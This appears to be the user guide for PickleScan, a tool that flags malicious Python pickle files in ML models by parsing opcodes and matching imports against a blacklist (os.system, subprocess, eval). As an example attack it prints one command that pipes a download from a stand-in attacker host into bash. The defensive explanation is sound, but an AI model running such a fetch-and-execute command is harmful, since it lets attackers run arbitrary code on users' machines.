📖 PickleScan User Guide
← Back to PickleScan
What is Pickle?
Python's pickle module serializes objects to binary. When you pickle.load() a file, it executes code embedded in the file. This makes pickle files a common attack vector for malware in ML models.
How PickleScan Works
- Drop your file — supports .pkl, .pt, .pth, .bin (PyTorch checkpoints are ZIP archives)
- Bytecode parsing — we read pickle opcodes WITHOUT executing them
- Import extraction — find all GLOBAL/INST/STACK_GLOBAL opcodes that import modules
- Blacklist matching — compare against known malicious imports (os.system, subprocess, eval, etc.)
- Risk assessment — SAFE / WARNING / DANGEROUS based on findings
What Makes a Pickle Dangerous?
The REDUCE opcode calls any imported function with arguments from the stack. Combined with GLOBAL to import os.system, an attacker can execute arbitrary commands on your machine.
Example attack: os.system("curl http://evil.com/malware | bash")
How to Protect Yourself
- Use SafeTensors instead of pickle whenever possible
- Use
torch.load(weights_only=True) in PyTorch 2.6+
- Scan files with PickleScan before loading
- Only download models from trusted sources
FAQ
- Is my file uploaded?
- No. Everything runs locally in your browser. Your files never leave your device.
- Can PickleScan catch all attacks?
- No scanner is 100% foolproof. Obfuscated payloads may evade detection. PickleScan catches known patterns and suspicious imports.
- What about .safetensors files?
- SafeTensors files are safe by design — they only store tensor data, no executable code. Use them whenever possible.
← PickleScan · About · Privacy